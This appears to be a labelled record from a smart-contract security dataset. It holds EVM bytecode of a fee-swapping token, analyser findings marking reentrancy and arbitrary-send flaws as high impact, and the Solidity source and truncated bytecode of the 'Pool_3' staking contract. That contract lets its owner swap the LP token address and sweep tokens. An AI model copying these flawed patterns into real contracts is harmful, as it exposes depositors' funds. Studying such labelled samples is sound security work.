050611f5c565b60008284611f089190612fc9565b9050828482611f179190612f98565b14611f57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f4e90612d2c565b60405180910390fd5b809150505b92915050565b6000611fa483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506120ff565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ffc600284611f6290919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612027573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612078600284611f6290919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156120a3573d6000803e3d6000fd5b5050565b806120b5576120b4612162565b5b6120c0848484612193565b806120ce576120cd61235e565b5b50505050565b60008060006120e1612370565b915091506120f88183611f6290919063ffffffff16565b9250505090565b60008083118290612146576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161213d9190612c4a565b60405180910390fd5b50600083856121559190612f98565b9050809150509392505050565b6000600a5414801561217657506000600b54145b1561218057612191565b6000600a819055506000600b819055505b565b6000806000806000806121a5876123d2565b95509550955095509550955061220386600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b3590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061229885600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461243a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122e481612498565b6122ee8483612555565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161234b9190612e0c565b60405180910390a3505050505050505050565b6005600a81905550600f600b81905550565b600080600060085490506000683635c9adc5dea0000090506123a6683635c9adc5dea00000600854611f6290919063ffffffff16565b8210156123c557600854683635c9adc5dea000009350935050506123ce565b81819350935050505b9091565b60008060008060008060008060006123ef8a600a54600b5461258f565b92509250925060006123ff6120d4565b905060008060006124128e878787612625565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60008082846124499190612f42565b90508381101561248e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161248590612ccc565b60405180910390fd5b8091505092915050565b60006124a26120d4565b905060006124b98284611ee790919063ffffffff16565b905061250d81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461243a90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61256a82600854611b3590919063ffffffff16565b6008819055506125858160095461243a90919063ffffffff16565b6009819055505050565b6000806000806125bb60646125ad888a611ee790919063ffffffff16565b611f6290919063ffffffff16565b905060006125e560646125d7888b611ee790919063ffffffff16565b611f6290919063ffffffff16565b9050600061260e82612600858c611b3590919063ffffffff16565b611b3590919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061263e8589611ee790919063ffffffff16565b905060006126558689611ee790919063ffffffff16565b9050600061266c8789611ee790919063ffffffff16565b90506000612695826126878587611b3590919063ffffffff16565b611b3590919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006126c16126bc84612ec1565b612e9c565b905080838252602082019050828560208602820111156126e057600080fd5b60005b8581101561271057816126f6888261271a565b8452602084019350602083019250506001810190506126e3565b5050509392505050565b6000813590506127298161354e565b92915050565b60008151905061273e8161354e565b92915050565b600082601f83011261275557600080fd5b81356127658482602086016126ae565b91505092915050565b60008135905061277d81613565565b92915050565b6000813590506127928161357c565b92915050565b6000602082840312156127aa57600080fd5b60006127b88482850161271a565b91505092915050565b6000602082840312156127d357600080fd5b60006127e18482850161272f565b91505092915050565b600080604083850312156127fd57600080fd5b600061280b8582860161271a565b925050602061281c8582860161271a565b9150509250929050565b60008060006060848603121561283b57600080fd5b60006128498682870161271a565b935050602061285a8682870161271a565b925050604061286b86828701612783565b9150509250925092565b6000806040838503121561288857600080fd5b60006128968582860161271a565b92505060206128a785828601612783565b9150509250929050565b6000602082840312156128c357600080fd5b600082013567ffffffffffffffff8111156128dd57600080fd5b6128e984828501612744565b91505092915050565b60006020828403121561290457600080fd5b60006129128482850161276e565b91505092915050565b60006020828403121561292d57600080fd5b600061293b84828501612783565b91505092915050565b6000612950838361295c565b60208301905092915050565b61296581613057565b82525050565b61297481613057565b82525050565b600061298582612efd565b61298f8185612f20565b935061299a83612eed565b8060005b838110156129cb5781516129b28882612944565b97506129bd83612f13565b92505060018101905061299e565b5085935050505092915050565b6129e181613069565b82525050565b6129f0816130ac565b82525050565b6000612a0182612f08565b612a0b8185612f31565b9350612a1b8185602086016130be565b612a24816131f8565b840191505092915050565b6000612a3c602383612f31565b9150612a4782613209565b604082019050919050565b6000612a5f602a83612f31565b9150612a6a82613258565b604082019050919050565b6000612a82602283612f31565b9150612a8d826132a7565b604082019050919050565b6000612aa5601b83612f31565b9150612ab0826132f6565b602082019050919050565b6000612ac8601d83612f31565b9150612ad38261331f565b602082019050919050565b6000612aeb601983612f31565b9150612af682613348565b602082019050919050565b6000612b0e602183612f31565b9150612b1982613371565b604082019050919050565b6000612b31602083612f31565b9150612b3c826133c0565b602082019050919050565b6000612b54602983612f31565b9150612b5f826133e9565b604082019050919050565b6000612b77602183612f31565b9150612b8282613438565b604082019050919050565b6000612b9a602583612f31565b9150612ba582613487565b604082019050919050565b6000612bbd602483612f31565b9150612bc8826134d6565b604082019050919050565b6000612be0601783612f31565b9150612beb82613525565b602082019050919050565b612bff81613095565b82525050565b612c0e8161309f565b82525050565b6000602082019050612c29600083018461296b565b92915050565b6000602082019050612c4460008301846129d8565b92915050565b60006020820190508181036000830152612c6481846129f6565b905092915050565b60006020820190508181036000830152612c8581612a2f565b9050919050565b60006020820190508181036000830152612ca581612a52565b9050919050565b60006020820190508181036000830152612cc581612a75565b9050919050565b60006020820190508181036000830152612ce581612a98565b9050919050565b60006020820190508181036000830152612d0581612abb565b9050919050565b60006020820190508181036000830152612d2581612ade565b9050919050565b60006020820190508181036000830152612d4581612b01565b9050919050565b60006020820190508181036000830152612d6581612b24565b9050919050565b60006020820190508181036000830152612d8581612b47565b9050919050565b60006020820190508181036000830152612da581612b6a565b9050919050565b60006020820190508181036000830152612dc581612b8d565b9050919050565b60006020820190508181036000830152612de581612bb0565b9050919050565b60006020820190508181036000830152612e0581612bd3565b9050919050565b6000602082019050612e216000830184612bf6565b92915050565b600060a082019050612e3c6000830188612bf6565b612e4960208301876129e7565b8181036040830152612e5b818661297a565b9050612e6a606083018561296b565b612e776080830184612bf6565b9695505050505050565b6000602082019050612e966000830184612c05565b92915050565b6000612ea6612eb7565b9050612eb282826130f1565b919050565b6000604051905090565b600067ffffffffffffffff821115612edc57612edb6131c9565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612f4d82613095565b9150612f5883613095565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612f8d57612f8c61316b565b5b828201905092915050565b6000612fa382613095565b9150612fae83613095565b925082612fbe57612fbd61319a565b5b828204905092915050565b6000612fd482613095565b9150612fdf83613095565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156130185761301761316b565b5b828202905092915050565b600061302e82613095565b915061303983613095565b92508282101561304c5761304b61316b565b5b828203905092915050565b600061306282613075565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006130b782613095565b9050919050565b60005b838110156130dc5780820151818401526020810190506130c1565b838111156130eb576000848401525b50505050565b6130fa826131f8565b810181811067ffffffffffffffff82111715613119576131186131c9565b5b80604052505050565b600061312d82613095565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156131605761315f61316b565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f45524332303a204e6f2062616c616e636520746f206275726e00000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b61355781613057565b811461356257600080fd5b50565b61356e81613069565b811461357957600080fd5b50565b61358581613095565b811461359057600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209afca363f7c3dd131c4f9123f78d519671a1fbf13d678bd8b9b7d615282a8fe164736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
9,506
0xc0bc69b70a14ee7c0232720363f095864bfde605
pragma solidity 0.6.12; // SPDX-License-Identifier: MIT /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256` * (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } interface Token { function transferFrom(address, address, uint256) external returns (bool); function transfer(address, uint256) external returns (bool); } contract Pool_3 is Ownable { using SafeMath for uint256; using EnumerableSet for EnumerableSet.AddressSet; event RewardsTransferred(address holder, uint256 amount); // YPro token contract address address public tokenAddress = 0xAc9C0F1bFD12cf5c4daDbeAb943473c4C45263A0; // LP token contract address address public LPtokenAddress = 0x0d4a11d5EEaaC28EC3F61d100daF4d40471f1852; // reward rate 100 % per year uint256 public rewardRate = 9625714525; uint256 public rewardInterval = 365 days; // staking fee 0% uint256 public stakingFeeRate = 0; // unstaking fee 0% uint256 public unstakingFeeRate = 0; // unstaking possible after 0 days uint256 public cliffTime = 0 days; uint256 public farmEnableat; uint256 public totalClaimedRewards = 0; uint256 private stakingAndDaoTokens = 100000e18; bool public farmEnabled = false; EnumerableSet.AddressSet private holders; mapping (address => uint256) public depositedTokens; mapping (address => uint256) public stakingTime; mapping (address => uint256) public lastClaimedTime; mapping (address => uint256) public totalEarnedTokens; function updateAccount(address account) private { uint256 pendingDivs = getPendingDivs(account); if (pendingDivs > 0) { require(Token(tokenAddress).transfer(account, pendingDivs), "Could not transfer tokens."); totalEarnedTokens[account] = totalEarnedTokens[account].add(pendingDivs); totalClaimedRewards = totalClaimedRewards.add(pendingDivs); emit RewardsTransferred(account, pendingDivs); } lastClaimedTime[account] = now; } function getPendingDivs(address _holder) public view returns (uint256) { if (!holders.contains(_holder)) return 0; if (depositedTokens[_holder] == 0) return 0; uint256 timeDiff = now.sub(lastClaimedTime[_holder]); uint256 stakedAmount = depositedTokens[_holder]; if (now > farmEnableat + 7 days) { uint256 pendingDivs = stakedAmount.mul(38502858097).mul(timeDiff).div(rewardInterval).div(1e4); return pendingDivs; } else if (now <= farmEnableat + 7 days) { uint256 pendingDivs = stakedAmount.mul(rewardRate).mul(timeDiff).div(rewardInterval).div(1e4); return pendingDivs; } } function getNumberOfHolders() public view returns (uint256) { return holders.length(); } function deposit(uint256 amountToStake) public { require(amountToStake > 0, "Cannot deposit 0 Tokens"); require(farmEnabled, "Farming is not enabled"); require(Token(LPtokenAddress).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance"); updateAccount(msg.sender); uint256 fee = amountToStake.mul(stakingFeeRate).div(1e4); uint256 amountAfterFee = amountToStake.sub(fee); require(Token(LPtokenAddress).transfer(owner, fee), "Could not transfer deposit fee."); depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountAfterFee); if (!holders.contains(msg.sender)) { holders.add(msg.sender); stakingTime[msg.sender] = now; } } function withdraw(uint256 amountToWithdraw) public { require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw"); require(now.sub(stakingTime[msg.sender]) > cliffTime, "You recently staked, please wait before withdrawing."); updateAccount(msg.sender); uint256 fee = amountToWithdraw.mul(unstakingFeeRate).div(1e4); uint256 amountAfterFee = amountToWithdraw.sub(fee); require(Token(LPtokenAddress).transfer(owner, fee), "Could not transfer deposit fee."); require(Token(LPtokenAddress).transfer(msg.sender, amountAfterFee), "Could not transfer tokens."); depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw); if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) { holders.remove(msg.sender); } } function claimDivs() public { updateAccount(msg.sender); } function getStakingAndDaoAmount() public view returns (uint256) { if (totalClaimedRewards >= stakingAndDaoTokens) { return 0; } uint256 remaining = stakingAndDaoTokens.sub(totalClaimedRewards); return remaining; } function setTokenAddress(address _tokenAddressess) public onlyOwner { tokenAddress = _tokenAddressess; } function setLPTokenAddress(address _LPtokenAddressess) public onlyOwner { LPtokenAddress = _LPtokenAddressess; } function setCliffTime(uint256 _time) public onlyOwner { cliffTime = _time; } function setRewardInterval(uint256 _rewardInterval) public onlyOwner { rewardInterval = _rewardInterval; } function setStakingAndDaoTokens(uint256 _stakingAndDaoTokens) public onlyOwner { stakingAndDaoTokens = _stakingAndDaoTokens; } function setStakingFeeRate(uint256 _Fee) public onlyOwner { stakingFeeRate = _Fee; } function setUnstakingFeeRate(uint256 _Fee) public onlyOwner { unstakingFeeRate = _Fee; } function setRewardRate(uint256 _rewardRate) public onlyOwner { rewardRate = _rewardRate; } function enableFarming() external onlyOwner() { farmEnabled = true; farmEnableat = now; } // function to allow admin to claim *any* ERC20 tokens sent to this contract function transferAnyERC20Tokens(address _tokenAddress, address _to, uint256 _amount) public onlyOwner { require(_tokenAddress != LPtokenAddress); Token(_tokenAddress).transfer(_to, _amount); } }
0x608060405234801561001057600080fd5b50600436106101f05760003560e01c806398896d101161010f578063d578ceab116100a2578063f2fde38b11610071578063f2fde38b14610721578063f3f91fa014610765578063f42ebbe0146107bd578063f9da7db814610801576101f0565b8063d578ceab14610699578063d816c7d5146106b7578063e3e84213146106d5578063e40ccf2714610703576101f0565b8063a9145727116100de578063a9145727146105c7578063b6b55f25146105f5578063bec4de3f14610623578063c326bf4f14610641576101f0565b806398896d10146104ed5780639d76ea58146105455780639e447fc614610579578063a2e656a2146105a7576101f0565b80635ef057be116101875780637b0a47ee116101565780637b0a47ee1461043f5780638a97973f1461045d5780638da5cb5b1461048b57806391e07e7a146104bf576101f0565b80635ef057be146103515780636270cd181461036f5780636a395ccb146103c75780637723c5f114610435576101f0565b80632e1a7d4d116101c35780632e1a7d4d1461027f578063308feec3146102ad578063468b4f10146102cb578063583d42fd146102f9576101f0565b80630f1a6444146101f557806319aa70e714610213578063268cab491461021d57806326a4e8d21461023b575b600080fd5b6101fd610835565b6040518082815260200191505060405180910390f35b61021b61083b565b005b610225610846565b6040518082815260200191505060405180910390f35b61027d6004803603602081101561025157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061087f565b005b6102ab6004803603602081101561029557600080fd5b810190808035906020019092919050505061091b565b005b6102b5610e7c565b6040518082815260200191505060405180910390f35b6102f7600480360360208110156102e157600080fd5b8101908080359060200190929190505050610e8d565b005b61033b6004803603602081101561030f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610eef565b6040518082815260200191505060405180910390f35b610359610f07565b6040518082815260200191505060405180910390f35b6103b16004803603602081101561038557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f0d565b6040518082815260200191505060405180910390f35b610433600480360360608110156103dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f25565b005b61043d61108a565b005b610447611106565b6040518082815260200191505060405180910390f35b6104896004803603602081101561047357600080fd5b810190808035906020019092919050505061110c565b005b61049361116e565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104eb600480360360208110156104d557600080fd5b8101908080359060200190929190505050611192565b005b61052f6004803603602081101561050357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111f4565b6040518082815260200191505060405180910390f35b61054d6113e6565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105a56004803603602081101561058f57600080fd5b810190808035906020019092919050505061140c565b005b6105af61146e565b60405180821515815260200191505060405180910390f35b6105f3600480360360208110156105dd57600080fd5b8101908080359060200190929190505050611481565b005b6106216004803603602081101561060b57600080fd5b81019080803590602001909291905050506114e3565b005b61062b6119f2565b6040518082815260200191505060405180910390f35b6106836004803603602081101561065757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119f8565b6040518082815260200191505060405180910390f35b6106a1611a10565b6040518082815260200191505060405180910390f35b6106bf611a16565b6040518082815260200191505060405180910390f35b610701600480360360208110156106eb57600080fd5b8101908080359060200190929190505050611a1c565b005b61070b611a7e565b6040518082815260200191505060405180910390f35b6107636004803603602081101561073757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a84565b005b6107a76004803603602081101561077b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611bd3565b6040518082815260200191505060405180910390f35b6107ff600480360360208110156107d357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611beb565b005b610809611c87565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b60075481565b61084433611cad565b565b6000600a546009541061085c576000905061087c565b6000610875600954600a54611f5190919063ffffffff16565b9050809150505b90565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108d757600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b80600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156109d0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f496e76616c696420616d6f756e7420746f20776974686472617700000000000081525060200191505060405180910390fd5b600754610a25600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442611f5190919063ffffffff16565b11610a7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260348152602001806121fe6034913960400191505060405180910390fd5b610a8433611cad565b6000610aaf612710610aa160065485611f6890919063ffffffff16565b611f9790919063ffffffff16565b90506000610ac68284611f5190919063ffffffff16565b9050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610b7b57600080fd5b505af1158015610b8f573d6000803e3d6000fd5b505050506040513d6020811015610ba557600080fd5b8101908080519060200190929190505050610c28576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f436f756c64206e6f74207472616e73666572206465706f736974206665652e0081525060200191505060405180910390fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610cbb57600080fd5b505af1158015610ccf573d6000803e3d6000fd5b505050506040513d6020811015610ce557600080fd5b8101908080519060200190929190505050610d68576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b610dba83600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f5190919063ffffffff16565b600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e1133600c611fb090919063ffffffff16565b8015610e5c57506000600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b15610e7757610e7533600c611fe090919063ffffffff16565b505b505050565b6000610e88600c612010565b905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610ee557600080fd5b8060058190555050565b600f6020528060005260406000206000915090505481565b60055481565b60116020528060005260406000206000915090505481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f7d57600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fd857600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561104957600080fd5b505af115801561105d573d6000803e3d6000fd5b505050506040513d602081101561107357600080fd5b810190808051906020019092919050505050505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146110e257600080fd5b6001600b60006101000a81548160ff02191690831515021790555042600881905550565b60035481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461116457600080fd5b8060078190555050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146111ea57600080fd5b8060068190555050565b600061120a82600c611fb090919063ffffffff16565b61121757600090506113e1565b6000600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054141561126857600090506113e1565b60006112bc601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442611f5190919063ffffffff16565b90506000600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905062093a80600854014211156113725760006113656127106113576004546113498761133b6408f6f2fd7189611f6890919063ffffffff16565b611f6890919063ffffffff16565b611f9790919063ffffffff16565b611f9790919063ffffffff16565b90508093505050506113e1565b62093a806008540142116113de5760006113d16127106113c36004546113b5876113a760035489611f6890919063ffffffff16565b611f6890919063fffff